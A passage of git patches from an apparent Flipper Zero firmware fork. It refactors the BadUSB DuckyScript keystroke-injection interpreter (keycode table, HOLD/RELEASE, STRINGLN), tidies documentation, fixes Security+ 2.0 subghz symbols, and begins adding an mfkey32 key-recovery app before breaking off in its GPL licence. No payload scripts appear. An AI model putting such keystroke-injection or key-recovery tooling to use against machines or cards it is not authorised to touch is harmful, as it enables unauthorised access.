SCRIPT_STATE_CMD_UNKNOWN (-4) +#define SCRIPT_STATE_STRING_START (-5) + +#define FILE_BUFFER_LEN 16 + +struct BadUsbScript { + FuriHalUsbHidConfig hid_cfg; + FuriThread* thread; + BadUsbState st; + + FuriString* file_path; + uint8_t file_buf[FILE_BUFFER_LEN + 1]; + uint8_t buf_start; + uint8_t buf_len; + bool file_end; + + uint32_t defdelay; + uint32_t stringdelay; + uint16_t layout[128]; + + FuriString* line; + FuriString* line_prev; + uint32_t repeat_cnt; + uint8_t key_hold_nb; + + FuriString* string_print; + size_t string_print_pos; +}; + +uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars); + +uint32_t ducky_get_command_len(const char* line); + +bool ducky_is_line_end(const char chr); + +uint16_t ducky_get_keycode_by_name(const char* param); + +bool ducky_get_number(const char* param, uint32_t* val); + +void ducky_numlock_on(void); + +bool ducky_numpad_press(const char num); + +bool ducky_altchar(const char* charcode); + +bool ducky_altstring(const char* param); + +bool ducky_string(BadUsbScript* bad_usb, const char* param); + +int32_t ducky_execute_cmd(BadUsbScript* bad_usb, const char* line); + +int32_t ducky_error(BadUsbScript* bad_usb, const char* text, ...); + +#ifdef __cplusplus +} +#endif diff --git a/applications/main/bad_usb/helpers/ducky_script_keycodes.c b/applications/main/bad_usb/helpers/ducky_script_keycodes.c new file mode 100644 index 000000000..da2fc22f7 --- /dev/null +++ b/applications/main/bad_usb/helpers/ducky_script_keycodes.c @@ -0,0 +1,79 @@ +#include +#include +#include "ducky_script_i.h" + +typedef struct { + char* name; + uint16_t keycode; +} DuckyKey; + +static const DuckyKey ducky_keys[] = { + {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, + {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, + {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, + {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, + {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, + {"GUI-CTRL", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_CTRL}, + + {"CTRL", KEY_MOD_LEFT_CTRL}, + {"CONTROL", KEY_MOD_LEFT_CTRL}, + {"SHIFT", KEY_MOD_LEFT_SHIFT}, + {"ALT", KEY_MOD_LEFT_ALT}, + {"GUI", KEY_MOD_LEFT_GUI}, + {"WINDOWS", KEY_MOD_LEFT_GUI}, + + {"DOWNARROW", HID_KEYBOARD_DOWN_ARROW}, + {"DOWN", HID_KEYBOARD_DOWN_ARROW}, + {"LEFTARROW", HID_KEYBOARD_LEFT_ARROW}, + {"LEFT", HID_KEYBOARD_LEFT_ARROW}, + {"RIGHTARROW", HID_KEYBOARD_RIGHT_ARROW}, + {"RIGHT", HID_KEYBOARD_RIGHT_ARROW}, + {"UPARROW", HID_KEYBOARD_UP_ARROW}, + {"UP", HID_KEYBOARD_UP_ARROW}, + + {"ENTER", HID_KEYBOARD_RETURN}, + {"BREAK", HID_KEYBOARD_PAUSE}, + {"PAUSE", HID_KEYBOARD_PAUSE}, + {"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK}, + {"DELETE", HID_KEYBOARD_DELETE_FORWARD}, + {"BACKSPACE", HID_KEYBOARD_DELETE}, + {"END", HID_KEYBOARD_END}, + {"ESC", HID_KEYBOARD_ESCAPE}, + {"ESCAPE", HID_KEYBOARD_ESCAPE}, + {"HOME", HID_KEYBOARD_HOME}, + {"INSERT", HID_KEYBOARD_INSERT}, + {"NUMLOCK", HID_KEYPAD_NUMLOCK}, + {"PAGEUP", HID_KEYBOARD_PAGE_UP}, + {"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN}, + {"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN}, + {"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK}, + {"SPACE", HID_KEYBOARD_SPACEBAR}, + {"TAB", HID_KEYBOARD_TAB}, + {"MENU", HID_KEYBOARD_APPLICATION}, + {"APP", HID_KEYBOARD_APPLICATION}, + + {"F1", HID_KEYBOARD_F1}, + {"F2", HID_KEYBOARD_F2}, + {"F3", HID_KEYBOARD_F3}, + {"F4", HID_KEYBOARD_F4}, + {"F5", HID_KEYBOARD_F5}, + {"F6", HID_KEYBOARD_F6}, + {"F7", HID_KEYBOARD_F7}, + {"F8", HID_KEYBOARD_F8}, + {"F9", HID_KEYBOARD_F9}, + {"F10", HID_KEYBOARD_F10}, + {"F11", HID_KEYBOARD_F11}, + {"F12", HID_KEYBOARD_F12}, +}; + +uint16_t ducky_get_keycode_by_name(const char* param) { + for(size_t i = 0; i < COUNT_OF(ducky_keys); i++) { + size_t key_cmd_len = strlen(ducky_keys[i].name); + if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && + (ducky_is_line_end(param[key_cmd_len]))) { + return ducky_keys[i].keycode; + } + } + + return HID_KEYBOARD_NONE; +} diff --git a/applications/main/bad_usb/mnemonic.c b/applications/main/bad_usb/mnemonic.c deleted file mode 100644 index f21cc98bb..000000000 --- a/applications/main/bad_usb/mnemonic.c +++ /dev/null @@ -1,327 +0,0 @@ -#include -#include -#include "mnemonic.h" - -#define TAG "BadUSB" -#define WORKER_TAG TAG "Worker" - -#define FILE_BUFFER_LEN 16 -#define SCRIPT_STATE_ERROR (-1) -#define SCRIPT_STATE_END (-2) -#define SCRIPT_STATE_NEXT_LINE (-3) - -#define BADUSB_ASCII_TO_KEY(script, x) \ - (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) - -static const uint8_t numpad_keys[10] = { - HID_KEYPAD_0, - HID_KEYPAD_1, - HID_KEYPAD_2, - HID_KEYPAD_3, - HID_KEYPAD_4, - HID_KEYPAD_5, - HID_KEYPAD_6, - HID_KEYPAD_7, - HID_KEYPAD_8, - HID_KEYPAD_9, -}; - -static bool ducky_get_number(const char* param, uint32_t* val) { - uint32_t value = 0; - if(sscanf(param, "%lu", &value) == 1) { - *val = value; - return true; - } - return false; -} - -static void ducky_numlock_on() { - if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) { - furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK); - furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK); - } -} -static bool ducky_numpad_press(const char num) { - if((num < '0') || (num > '9')) return false; - - uint16_t key = numpad_keys[num - '0']; - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release(key); - - return true; -} - -static bool ducky_altchar(const char* charcode) { - uint8_t i = 0; - bool state = false; - - FURI_LOG_I(WORKER_TAG, "char %s", charcode); - - furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT); - - while(!ducky_is_line_end(charcode[i])) { - state = ducky_numpad_press(charcode[i]); - if(state == false) break; - i++; - } - - furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT); - return state; -} - -static bool ducky_altstring(const char* param) { - uint32_t i = 0; - bool state = false; - - while(param[i] != '\0') { - if((param[i] < ' ') || (param[i] > '~')) { - i++; - continue; // Skip non-printable chars - } - - char temp_str[4]; - snprintf(temp_str, 4, "%u", param[i]); - - state = ducky_altchar(temp_str); - if(state == false) break; - i++; - } - return state; -} - -static bool ducky_string(BadUsbScript* bad_usb, const char* param) { - uint32_t i = 0; - - while(param[i] != '\0') { - uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]); - if(keycode != HID_KEYBOARD_NONE) { - furi_hal_hid_kb_press(keycode); - furi_hal_hid_kb_release(keycode); - if(bad_usb->stringdelay > 0) { - furi_delay_ms(bad_usb->stringdelay); - } - } - i++; - } - bad_usb->stringdelay = 0; - return true; -} - -int32_t ducky_fnc_noop( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - (void)bad_usb; - (void)line; - (void)line_tmp; - (void)error; - (void)error_len; - return (0); -} - -int32_t ducky_fnc_delay( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)bad_usb; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint32_t delay_val = 0; - state = ducky_get_number(line_tmp, &delay_val); - if((state) && (delay_val > 0)) { - return (int32_t)delay_val; - } - if(error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_defdelay( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_usb->defdelay); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_strdelay( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_usb->stringdelay); - if((state) && (bad_usb->stringdelay > 0)) { - return state; - } - if(error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_string( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_string(bad_usb, line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid string %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_repeat( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_usb->repeat_cnt); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_sysrq( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - (void)error; - (void)error_len; - (void)line; - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); - furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release_all(); - return (0); -} - -int32_t ducky_fnc_altchar( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)bad_usb; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - ducky_numlock_on(); - state = ducky_altchar(line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid altchar %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_altstring( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)bad_usb; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - ducky_numlock_on(); - state = ducky_altstring(line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid altstring %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_stringln( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - bool state = false; - (void)line; - - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_string(bad_usb, line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid string %s", line_tmp); - } - furi_hal_hid_kb_press(HID_KEYBOARD_RETURN); - furi_hal_hid_kb_release(HID_KEYBOARD_RETURN); - return (state) ? (0) : SCRIPT_STATE_ERROR; -} - -int32_t ducky_fnc_hold( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - (void)line; - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); - if(key == HID_KEYBOARD_NONE) { - if(error != NULL) { - snprintf(error, error_len, "No keycode defined for %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } - furi_hal_hid_kb_press(key); - return (0); -} - -int32_t ducky_fnc_release( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len) { - (void)line; - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint16_t key = ducky_get_keycode(bad_usb, line_tmp, true); - if(key == HID_KEYBOARD_NONE) { - if(error != NULL) { - snprintf(error, error_len, "No keycode defined for %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } - furi_hal_hid_kb_release(key); - return (0); -} diff --git a/applications/main/bad_usb/mnemonic.h b/applications/main/bad_usb/mnemonic.h deleted file mode 100644 index a85627c3a..000000000 --- a/applications/main/bad_usb/mnemonic.h +++ /dev/null @@ -1,96 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#include "bad_usb_script.h" - -// A no opperation function -int32_t ducky_fnc_noop( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// DELAY -int32_t ducky_fnc_delay( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// DEFAULTDELAY -int32_t ducky_fnc_defdelay( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// STRINGDELAY -int32_t ducky_fnc_strdelay( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// STRING -int32_t ducky_fnc_string( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// STRINGLN -int32_t ducky_fnc_stringln( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// REPEAT -int32_t ducky_fnc_repeat( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// SYSRQ -int32_t ducky_fnc_sysrq( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// ALTCHAR -int32_t ducky_fnc_altchar( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// ALTSTRING -int32_t ducky_fnc_altstring( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// HOLD -int32_t ducky_fnc_hold( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); -// RELEASE -int32_t ducky_fnc_release( - BadUsbScript* bad_usb, - FuriString* line, - const char* line_tmp, - char* error, - size_t error_len); - -#ifdef __cplusplus -} -#endif diff --git a/applications/main/bad_usb/scenes/bad_usb_scene_config.c b/applications/main/bad_usb/scenes/bad_usb_scene_config.c index c88cae032..5477c5e80 100644 --- a/applications/main/bad_usb/scenes/bad_usb_scene_config.c +++ b/applications/main/bad_usb/scenes/bad_usb_scene_config.c @@ -17,7 +17,7 @@ void bad_usb_scene_config_on_enter(void* context) { submenu_add_item( submenu, - "Keyboard Layout", + "Keyboard Layout (global)", SubmenuIndexKeyboardLayout, bad_usb_scene_config_submenu_callback, bad_usb); diff --git a/applications/main/bad_usb/scenes/bad_usb_scene_config_layout.c b/applications/main/bad_usb/scenes/bad_usb_scene_config_layout.c index 7708ed1d8..5d70b801b 100644 --- a/applications/main/bad_usb/scenes/bad_usb_scene_config_layout.c +++ b/applications/main/bad_usb/scenes/bad_usb_scene_config_layout.c @@ -33,8 +33,10 @@ void bad_usb_scene_config_layout_on_enter(void* context) { if(bad_usb_layout_select(bad_usb)) { bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout); + scene_manager_search_and_switch_to_previous_scene(bad_usb->scene_manager, BadUsbSceneWork); + } else { + scene_manager_previous_scene(bad_usb->scene_manager); } - scene_manager_previous_scene(bad_usb->scene_manager); } bool bad_usb_scene_config_layout_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/main/bad_usb/scenes/bad_usb_scene_work.c b/applications/main/bad_usb/scenes/bad_usb_scene_work.c index 6f2b82693..afc2e6f6f 100644 --- a/applications/main/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/main/bad_usb/scenes/bad_usb_scene_work.c @@ -1,4 +1,4 @@ -#include "../bad_usb_script.h" +#include "../helpers/ducky_script.h" #include "../bad_usb_app_i.h" #include "../views/bad_usb_view.h" #include diff --git a/applications/main/bad_usb/views/bad_usb_view.c b/applications/main/bad_usb/views/bad_usb_view.c index 9ee9dc341..874d677c8 100644 --- a/applications/main/bad_usb/views/bad_usb_view.c +++ b/applications/main/bad_usb/views/bad_usb_view.c @@ -1,5 +1,5 @@ #include "bad_usb_view.h" -#include "../bad_usb_script.h" +#include "../helpers/ducky_script.h" #include #include #include @@ -79,7 +79,12 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str_aligned( canvas, 127, 46, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); furi_string_reset(disp_str); - canvas_draw_str_aligned(canvas, 127, 56, AlignRight, AlignBottom, model->state.error); + + furi_string_set_str(disp_str, model->state.error); + elements_string_fit_width(canvas, disp_str, canvas_width(canvas)); + canvas_draw_str_aligned( + canvas, 127, 56, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); + furi_string_reset(disp_str); } else if(model->state.state == BadUsbStateIdle) { canvas_draw_icon(canvas, 4, 26, &I_Smile_18x18); canvas_set_font(canvas, FontBigNumbers); diff --git a/applications/main/bad_usb/views/bad_usb_view.h b/applications/main/bad_usb/views/bad_usb_view.h index 2fc01688a..6210835f0 100644 --- a/applications/main/bad_usb/views/bad_usb_view.h +++ b/applications/main/bad_usb/views/bad_usb_view.h @@ -1,7 +1,7 @@ #pragma once #include -#include "../bad_usb_script.h" +#include "../helpers/ducky_script.h" typedef struct BadUsb BadUsb; typedef void (*BadUsbButtonCallback)(InputKey key, void* context); diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index 00e4d68b5..9d81c30b6 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -98,7 +98,7 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { FuriString* disp_str; disp_str = furi_string_alloc_set(SubmenuItemArray_cref(it)->label); - elements_string_fit_width(canvas, disp_str, item_width - 20); + elements_string_fit_width(canvas, disp_str, item_width - (6 * 2)); canvas_draw_str( canvas, diff --git a/documentation/file_formats/BadUsbScriptFormat.md b/documentation/file_formats/BadUsbScriptFormat.md index 94dee5943..8373bf688 100644 --- a/documentation/file_formats/BadUsbScriptFormat.md +++ b/documentation/file_formats/BadUsbScriptFormat.md @@ -11,18 +11,18 @@ BadUsb app can execute only text scrips from `.txt` files, no compilation is req ## Comment line Just a single comment line. The interpreter will ignore all text after the REM command. -|Command|Parameters|Notes| -|-|-|-| -|REM|Comment text|| +| Command | Parameters | Notes | +| ------- | ------------ | ----- | +| REM | Comment text | | ## Delay Pause script execution by a defined time. -|Command|Parameters|Notes| -|-|-|-| -|DELAY|Delay value in ms|Single delay| -|DEFAULT_DELAY|Delay value in ms|Add delay before every next command| -|DEFAULTDELAY|Delay value in ms|Same as DEFAULT_DELAY| +| Command | Parameters | Notes | +| ------------- | ----------------- | ----------------------------------- | +| DELAY | Delay value in ms | Single delay | +| DEFAULT_DELAY | Delay value in ms | Add delay before every next command | +| DEFAULTDELAY | Delay value in ms | Same as DEFAULT_DELAY | ## Special keys @@ -56,32 +56,42 @@ Pause script execution by a defined time. ## Modifier keys Can be combined with a special key command or a single character. -|Command|Notes| -|-|-| -|CONTROL / CTRL|| -|SHIFT|| -|ALT|| -|WINDOWS / GUI|| -|CTRL-ALT|CTRL+ALT| -|CTRL-SHIFT|CTRL+SHIFT| -|ALT-SHIFT|ALT+SHIFT| -|ALT-GUI|ALT+WIN| -|GUI-SHIFT|WIN+SHIFT| -|GUI-CTRL|WIN+CTRL| +| Command | Notes | +| -------------- | ---------- | +| CONTROL / CTRL | | +| SHIFT | | +| ALT | | +| WINDOWS / GUI | | +| CTRL-ALT | CTRL+ALT | +| CTRL-SHIFT | CTRL+SHIFT | +| ALT-SHIFT | ALT+SHIFT | +| ALT-GUI | ALT+WIN | +| GUI-SHIFT | WIN+SHIFT | +| GUI-CTRL | WIN+CTRL | + +## Key hold and release + +Up to 5 keys can be hold simultaneously. +| Command | Parameters | Notes | +| ------- | ------------------------------- | ----------------------------------------- | +| HOLD | Special key or single character | Press and hold key untill RELEASE command | +| RELEASE | Special key or single character | Release key | + ## String -| Command | Parameters | Notes | -| ------- | ----------- | ----------------- | -| STRING | Text string | Print text string | +| Command | Parameters | Notes | +| ------- | ----------- | ----------------- | +| STRING | Text string | Print text string | +| STRINGLN | Text string | Print text string and press enter after it | ## String delay Delay between keypresses. -|Command|Parameters|Notes| -|-|-|-| -|STRING_DELAY|Delay value in ms|Applied once to next appearing string| -|STRINGDELAY|Delay value in ms|Same as STRING_DELAY| +| Command | Parameters | Notes | +| ------------ | ----------------- | --------------------------------------------- | +| STRING_DELAY | Delay value in ms | Applied once to next appearing STRING command | +| STRINGDELAY | Delay value in ms | Same as STRING_DELAY | ## Repeat @@ -91,19 +101,19 @@ Delay between keypresses. ## ALT+Numpad input -On Windows and some Linux systems, you can print characters by pressing `ALT` key and entering its code on Numpad. -|Command|Parameters|Notes| -|-|-|-| -|ALTCHAR|Character code|Print single character| -|ALTSTRING|Text string|Print text string using ALT+Numpad method| -|ALTCODE|Text string|Same as ALTSTRING, presents in some Duckyscript implementations| +On Windows and some Linux systems, you can print characters by holding `ALT` key and entering its code on Numpad. +| Command | Parameters | Notes | +| --------- | -------------- | --------------------------------------------------------------- | +| ALTCHAR | Character code | Print single character | +| ALTSTRING | Text string | Print text string using ALT+Numpad method | +| ALTCODE | Text string | Same as ALTSTRING, presents in some Duckyscript implementations | ## SysRq Send [SysRq command](https://en.wikipedia.org/wiki/Magic_SysRq_key) -|Command|Parameters|Notes| -|-|-|-| -|SYSRQ|Single character|| +| Command | Parameters | Notes | +| ------- | ---------------- | ----- | +| SYSRQ | Single character | | ## USB device ID diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c index a3bc84227..5cb7fd298 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c @@ -11,9 +11,6 @@ #define HID_EP_OUT 0x01 #define HID_EP_SZ 0x10 -#define HID_KB_MAX_KEYS 6 -#define HID_CONSUMER_MAX_KEYS 2 - #define HID_INTERVAL 2 #define HID_VID_DEFAULT 0x046D diff --git a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h index a9f094814..13e83ef67 100644 --- a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h +++ b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h @@ -9,6 +9,11 @@ extern "C" { #endif +/** Max number of simultaneously pressed keys (keyboard) */ +#define HID_KB_MAX_KEYS 6 +/** Max number of simultaneously pressed keys (consumer control) */ +#define HID_CONSUMER_MAX_KEYS 2 + #define HID_KEYBOARD_NONE 0x00 /** HID keyboard modifier keys */ From 6fd4949bcfa327a29a07b2ec8cfdca4ecc7e2cb7 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 17:24:37 +0000 Subject: [PATCH 190/329] Fix subghz remote api symbols (#175) --- firmware/targets/f7/api_symbols.csv | 2 +- lib/subghz/protocols/secplus_v2.h | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index e12bbf3c5..304a895f2 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -2570,7 +2570,7 @@ Function,+,scene_manager_stop,void,SceneManager* Function,+,sd_api_get_fs_type_text,const char*,SDFsType Function,-,secplus2_get_custom_btn,uint8_t, Function,-,secplus2_get_original_btn,uint8_t, -Function,-,secplus2_reset_original_btn,void, +Function,+,secplus2_reset_original_btn,void, Function,-,secplus2_set_btn,void,uint8_t Function,-,secure_getenv,char*,const char* Function,-,seed48,unsigned short*,unsigned short[3] diff --git a/lib/subghz/protocols/secplus_v2.h b/lib/subghz/protocols/secplus_v2.h index 155d943b2..4d9d5df00 100644 --- a/lib/subghz/protocols/secplus_v2.h +++ b/lib/subghz/protocols/secplus_v2.h @@ -1,6 +1,10 @@ #pragma once #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_SECPLUS_V2_NAME "Security+ 2.0" typedef struct SubGhzProtocolDecoderSecPlus_v2 SubGhzProtocolDecoderSecPlus_v2; @@ -133,3 +137,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_secplus_v2_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif From 512bba335b373067b3a5d9ec22bacad9e374a868 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 17:31:36 +0000 Subject: [PATCH 191/329] Add mfkey32 app (#157) --- applications/external/mfkey32/LICENSE | 674 +++++++++ applications/external/mfkey32/application.fam | 16 + .../external/mfkey32/images/mfkey.png | Bin 0 -> 9060 bytes applications/external/mfkey32/mfkey.png | Bin 0 -> 9060 bytes applications/external/mfkey32/mfkey32.c | 1285 +++++++++++++++++ 5 files changed, 1975 insertions(+) create mode 100644 applications/external/mfkey32/LICENSE create mode 100644 applications/external/mfkey32/application.fam create mode 100644 applications/external/mfkey32/images/mfkey.png create mode 100644 applications/external/mfkey32/mfkey.png create mode 100644 applications/external/mfkey32/mfkey32.c diff --git a/applications/external/mfkey32/LICENSE b/applications/external/mfkey32/LICENSE new file mode 100644 index 000000000..f288702d2 --- /dev/null +++ b/applications/external/mfkey32/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that 